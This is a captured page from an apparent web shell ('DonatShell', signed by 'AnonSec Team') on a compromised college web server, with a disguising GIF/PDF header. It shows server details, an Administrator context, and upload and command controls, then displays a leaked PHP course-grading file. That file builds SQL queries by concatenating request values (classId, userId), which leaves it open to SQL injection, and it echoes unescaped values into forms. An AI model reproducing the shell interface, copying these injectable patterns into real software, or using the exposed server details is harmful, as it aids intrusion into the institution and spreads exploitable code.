GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/Class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/Class//ClassProfile_Grade.phpinc
<?
// common/Class/ClassProfile_Grade.phpinc

debugTrackBegin();
#if (dc()) echo "<b>".__FILE__."</b><br>\n";

require('Course/get_HTTP_REFERER.phpinc');

// Get the classId and userId.
$f_classId = formValue('classId');
$f_userId = formValue('userId');
$eId = formValue('eId','');
$sId = formValue('sId','');
$f_FromGradebook = formValue('FromGradebook'); if ( !$f_FromGradebook ) $f_FromGradebook = 0;
$f_ReturnFromGrading = formValue('ReturnFromGrading'); if ( !$f_ReturnFromGrading ) $f_ReturnFromGrading = 0;

// Verify the classId.
if (!isset($f_classId) || $f_classId == '') {
?>
	The classId was not set.
<?
	require('common/pageFooter.phpinc');
	exit;
}
// Verify the userId.
if (!isset($f_userId) || $f_userId == '') {
?>
	The userId was not set.
<?
	require('common/pageFooter.phpinc');
	exit;
}
#printVar("\$_SESSION['emailGrade']",$_SESSION['emailGrade']);
// Get class info.
$query = "
SELECT
  classId,
  courseId,
  YRTR,
  classSection,
  studentProfilePoints,
  classProfilePoints,
  lastModified,
  modifiedBy
FROM class
WHERE classId IN (".$f_classId.")
  AND YRTR = '".$_SESSION['YRTR']['User']."'
ORDER BY lastModified DESC
";
$classResult = query_do($query);
$classCount = $_SESSION['qry']['count'];
if ($classCount) {
	// The class was found.
  $classRow = mysqli_fetch_assoc($classResult);
	$f_classProfilePoints = $classRow['classProfilePoints'];
	// Get course info.
	$query = "
		SELECT courseNumber,
					 courseTitle
			FROM course
		 WHERE courseId = ".$classRow['courseId']."
	";
	$courseResult = query_do($query);
	$courseCount = $_SESSION['qry']['count'];
	if ($courseCount) {
		$courseRow = mysqli_fetch_assoc($courseResult);
		$f_courseNumber = $courseRow['courseNumber'];
	} else {
?>
		The courseNumber for courseId <?=$classRow['courseId']?> was not found.
<?
		require('common/pageFooter.phpinc');
		exit;
	} // if ($courseCount)
} else {
	// The class was not found.
?>
	The classId (<?=$f_classId?>) was not found.
<?
	require('common/pageFooter.phpinc');
	exit;
} // if ($classCount)

// Begin the page.
$js .= ",ClassEvaluations,wforms";
$headTitle = '_CST_ - '.$f_courseNumber.' Grade Class Profile';
$pageTitle = '_CST_<br>'.$f_courseNumber.' Grade Class Profile';
require('common/pageHeader.phpinc');
require('common/studentInfo.phpinc'); // Get and display user info.
$sectionTitle = $f_courseNumber.' Class Profile';
require('common/sectionHeader.phpinc');

// Get the student's Class Profile.
$query = "
SELECT *
FROM classprofile
WHERE classId IN (".$f_classId.")
  AND userId = ".$f_userId."
  AND classprofileYRTR = '".$_SESSION['YRTR']['User']."'
ORDER BY lastModified DESC
";

#echo "\$query=",$query,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
$classprofileResult = query_do($query);
$classprofileCount = $_SESSION['qry']['count'];
if ($classprofileCount) {
  $classprofileRow = mysqli_fetch_assoc($classprofileResult);
  mysqli_data_seek($classprofileResult, 0);
  $classprofileFormNumber = 0;
	while ($classprofileRow = mysqli_fetch_assoc($classprofileResult)) {
		// Display the current Class Profile.
		$classprofileFormNumber++;
		$f_classprofileId = $classprofileRow['classprofileId'];
		$f_classprofileYRTR = $classprofileRow['classprofileYRTR'];
		$f_classprofileClass = '<br>'.str_replace("\n","<br>",trim($classprofileRow['classprofileClass']));
		if ($f_classprofileClass == '<br>') $f_classprofileClass = '';
		$f_classprofileOutcome = '<br>'.str_replace("\n","<br>",trim($classprofileRow['classprofileOutcome']));
		if ($f_classprofileOutcome == '<br>') $f_classprofileOutcome = '';
		$f_classprofileGrade = $classprofileRow['classprofileGrade'];
		$f_classprofileComment = $classprofileRow['classprofileComment'];
		$f_classprofileInternalComment = $classprofileRow['classprofileInternalComment'];
		$f_classprofileSubmitted = $classprofileRow['classprofileSubmitted'];
		$f_error = false;
		if ($f_classprofileClass != '') {
			$f_classprofileClassError = '';
		} else {
			$f_error = true;
			$f_classprofileClassError = '<br><span class="error">Describe why you took '.$courseRow['courseNumber'].' '.$courseTitle.'.</span>';
		}
		if ($f_classprofileOutcome != '') {
			$f_classprofileOutcomeError = '';
		} else {
			$f_error = true;
			$f_classprofileOutcomeError = '<br><span class="error">Describe what you expect to learn from '.$courseRow['courseNumber'].' '.$courseTitle.'.</span>';
		}
		$f_classprofileGradeValue = $f_classprofileGrade;
		if ($f_classprofileGradeValue == '') { $f_classprofileGradeValue = 0; }
		$f_percentage = intval($f_classprofileGradeValue/$f_classProfilePoints*1000+.5)/10;
		if (!isset($f_HTTP_REFERER)) { $f_HTTP_REFERER = $_SERVER['HTTP_REFERER']; }
?>
		<div style="margin:20px;">
		<form name="form_classprofile_grade_<?=$classprofileFormNumber?>" action="<?=php_self()?>" method="post">
		<input name="f_classId" type="hidden" value="<?=$f_classId?>">
		<input name="f_classprofileId" type="hidden" value="<?=$f_classprofileId?>">
		<input name="f_classProfilePoints" type="hidden" value="<?=$f_classProfilePoints?>">
		<input name="f_form" type="hidden" value="form_classprofile_grade">
		<input name="f_HTTP_REFERER" type="hidden" value="<?=$f_HTTP_REFERER?>">
		<input name="f_task" type="hidden" value="ClassProfile">
		<input name="f_subtask" id="id_subtask" type="hidden" value="">
		<input name="f_FromGradebook" type="hidden" value="<?=$f_FromGradebook?>">
		<input name="f_ReturnFromGrading" type="hidden" value="<?=$f_FromGradebook?>">
		<input name="f_userId" id="f_userId" type="hidden" value="<?=quot($f_userId)?>">
		<input name="eId" id="eId" type="hidden" value="<?=quot($eId)?>">
		<input name="sId" id="sId" type="hidden" value="<?=quot($sId)?>">
		<input name="f_uuid" id="f_uuid" type="hidden" value="<?=uuid()?>">
		<ol start="1">
			<li class="normal"><b>Why</b>. Describe why you took <?=$courseRow['courseNumber']?> <?=$courseRow['courseTitle']?>.
				<span class="info"><?=$f_classprofileClass?></span>
				<?=$f_classprofileClassError?>
				<br><br>
			</li>
			<li class="normal"><b>What</b>. Describe what you expect to learn from <?=$courseRow['courseNumber']?> <?=$courseRow['courseTitle']?>.
				<span class="info"><?=$f_classprofileOutcome?></span>
				<?=$f_classprofileOutcomeError?>
				<br><br>
			</li>
		</ol>
		<div class="normal">
		<table>
			<tr><td colspan="2">Submitted on <?=$classprofileRow['lastModified']?>.</td></tr>
			<tr><td colspan="2">This Class Profile is worth <?=$f_classProfilePoints?> points.</td></tr>
<? if (isset($f_classprofileGrade_Error)) { ?>
			<tr><td></td><td><?=$f_classprofileGrade_Error?></td></tr>
<? } ?>
			<tr>
				<td class="right">Grade:</td>
			<td>
<?
	if ($f_subtask == "Grade" || $f_subtask == "Re-grade") {
?>
				<input type="text" class="" name="f_classprofileGrade" id="id_classprofileGrade" type="text" value="<?=quot($f_classprofileGrade)?>" style="width:2em">/<?=$f_classProfilePoints?> points (<strong><?=gradeLetterAC($f_percentage)?></strong>, <?=$f_percentage?>%).
<?
	} else {
?>
				<span class="info"><strong><?=gradeLetterAC($f_percentage)?></strong>, <?=quot($f_classprofileGrade)?>/<?=$f_classProfilePoints?> points (<?=$f_percentage?>%).</span>
<?
	}
?>
			<input type="hidden" name="emailGradeCheck" value="1">
			<input type="checkbox" name="emailGrade" id="" value="1"<?=$_SESSION['emailGrade']?>> Email grade.
      <? if ( $classprofileRow['classprofileSubmitted'] && !$classprofileRow['classprofileGraded']) { ?>
      <input type="button" name="no_subtask" id="id_GradeSet" value="Grade <?=$f_classProfilePoints?>" onClick="setGrade(this,<?=$f_classProfilePoints?>);">
      <? } ?>
			</td>
		</tr>
<? if (isset($f_classprofileComment_Error)) { ?>
		<tr><td></td><td><?=$f_classprofileComment_Error?></td></tr>
<? } ?>
		<tr>
			<td class="right">Comment:</td>
			<td>
<?
	if ($f_subtask == "Grade" || $f_subtask == "Re-grade") {
?>
				<textarea class="" name="f_classprofileComment" id="f_classprofileComment" style="height:10em;width:40em;"><?=htmlView($f_classprofileComment)?></textarea>
			</td>
		</tr>
		<tr>
			<td class="right">Internal comment:</td>
			<td>
				<textarea class="" name="f_classprofileInternalComment" id="f_classprofileInternalComment" style="height:10em;width:40em;"><?=htmlView($f_classprofileInternalComment)?></textarea>
			</td>
		</tr>
		<tr><td class="center" colspan="2">
<?
	if ($classprofileRow['classprofileSubmitted']) {
		if (!$classprofileRow['classprofileGraded']) {
?>
			<input type="button" name="no_subtask" id="GradeButton" value="Grade" onClick="submitForm(this);">
			<input type="button" name="no_subtask" value="Cancel" onClick="submitForm(this);">
<?
		} else {
?>
			<input type="button" name="no_subtask" value="Re-grade" onClick="submitForm(this);">
			<input type="button" name="no_subtask" value="Done" onClick="submitForm(this);">
<?
		}
	} else {
?>
			<input type="button" name="no_subtask" value="Email request for Class Profile submission" onClick="submitForm(this);">
			<input type="button" name="no_subtask" value="Grade" onClick="submitForm(this);">
			<input type="button" name="no_subtask" value="Cancel" onClick="submitForm(this);">
<?
	}
?>
				<br>
        <div class="left">
				Replacement codes:<br>
				<strong>=e:</strong> <?=GradeCommentCodeReplace_e('Class Profile',$f_courseNumber,$f_classProfilePoints,$f_classprofileGrade,"=e")?><br>
				<strong>=g:</strong> <?=GradeCommentCodeReplace_g('Class Profile',$f_courseNumber,$f_classProfilePoints,$f_classprofileGrade,"=g")?><br>
				<strong>=p:</strong> <?=GradeCommentCodeReplace_p('Class Profile',$f_courseNumber,"=p")?><br>
				Percentage points:
<?
			$pts_original = 0;
			for ($p=100; $p>0; $p-=5) {
				$pts = intval($f_classProfilePoints*$p/100+.5);
				if ( $pts != $pts_original) {
?>
			<?=$p?>%=<?=$pts?>
<?
			}
			$pts_original = $pts;
		}
?>
<?
	} else {
		$f_classprofileCommentText = htmlCRtoBR(GradeCommentCodeReplace('Class Profile',$f_courseNumber,$f_classProfilePoints,$f_classprofileGrade,$f_classprofileComment));
?>
				<span class="info"><?=$f_classprofileCommentText?></span>
<?
	}
?>
    <br>
    <!-- cut-and-paste text -->
    cut-and-paste text<br>
    You lost 20% due to sentence structure problems. Improper capitalization, spelling errors, etc.<br>
    =e<br>
				</div>
			</td>
    </tr>
	</table>
	</div>
</form>
</div>
<?
	} // while ($classprofileRow = mysqli_fetch_assoc($classprofileResult))
} else {
	$f_classprofileId = 0;
	$f_classprofileYRTR = '';
	$f_classprofileClass = '';
	$f_classprofileOutcome = '';
	$f_classprofileSubmitted = 0;
	$f_classprofileGraded = 0;
	$f_classprofileGradedOn = '';
	$f_classprofileGradedBy = 0;
	$f_classprofileGrade = 0;
	$f_classprofileComment = '';
	$f_classprofileInternalComment = '';
?>
	<form name="form_classprofile_grade" action="<?=php_self()?>" method="post">
	<input name="f_classId" type="hidden" value="<?=$f_classId?>">
	<input name="f_classprofileId" type="hidden" value="<?=$f_classprofileId?>">
	<input name="f_classProfilePoints" type="hidden" value="<?=$f_classProfilePoints?>">
	<input name="f_form" type="hidden" value="form_classprofile_grade">
	<input name="f_HTTP_REFERER" type="hidden" value="<?=$f_HTTP_REFERER?>">
	<input name="f_task" type="hidden" value="ClassProfile">
	<input name="f_userId" id="f_userId" type="hidden" value="<?=quot($f_userId)?>">
	<input name="f_uuid" id="f_uuid" type="hidden" value="<?=uuid()?>">
  <input name="f_subtask" id="id_subtask" type="hidden" value="">
  <input name="f_FromGradebook" type="hidden" value="<?=$f_FromGradebook?>">
  <input name="f_ReturnFromGrading" type="hidden" value="<?=$f_FromGradebook?>">
  <input name="eId" id="eId" type="hidden" value="<?=quot($eId)?>">
  <input name="sId" id="sId" type="hidden" value="<?=quot($sId)?>">
		<table>
			<tr><td>
			No Class Profile was found.<br>
			<input type="button" name="no_subtask" value="Email request for Class Profile" onClick="submitForm(this);">
			<input type="button" name="no_subtask" value="Grade as 0" onClick="submitForm(this);">
			<input type="button" name="no_subtask" value="Cancel" onClick="submitForm(this);">
			</td></tr>
		</table>
	</form>
<?
}
?>
<script type="text/javascript">

if ( document.form_classprofile_grade && document.form_classprofile_grade.f_classprofileGrade ) document.form_classprofile_grade.f_classprofileGrade.focus();

function setGrade(e_button,grade) {
	//alert('setGrade('+e_button.id+','+grade+')');
	//alert('e_button.form.name='+e_button.form.name);
	e_form = e_button.form;
	e_grade = document.forms[e_form.name].elements['id_classprofileGrade'];
	e_grade.value = grade;
  e_gradebutton = document.forms[e_form.name].elements['GradeButton'];
	//alert('submitForm(e_gradebutton);');
	submitForm(e_gradebutton);
}

function submitForm(e_button) {
	e_form = e_button.form;
	//alert('e_form.name='+e_form.name);
	e_subtask = document.forms[e_form.name].elements['id_subtask'];
	//alert('e_subtask.form.name='+e_subtask.form.name);
	e_subtask.value = e_button.value;
	document.forms[e_form.name].submit();
}
</script>
<?
setDebugOn();
require('common/pageFooter.phpinc');
#exit;

Anon7 - 2022
AnonSec Team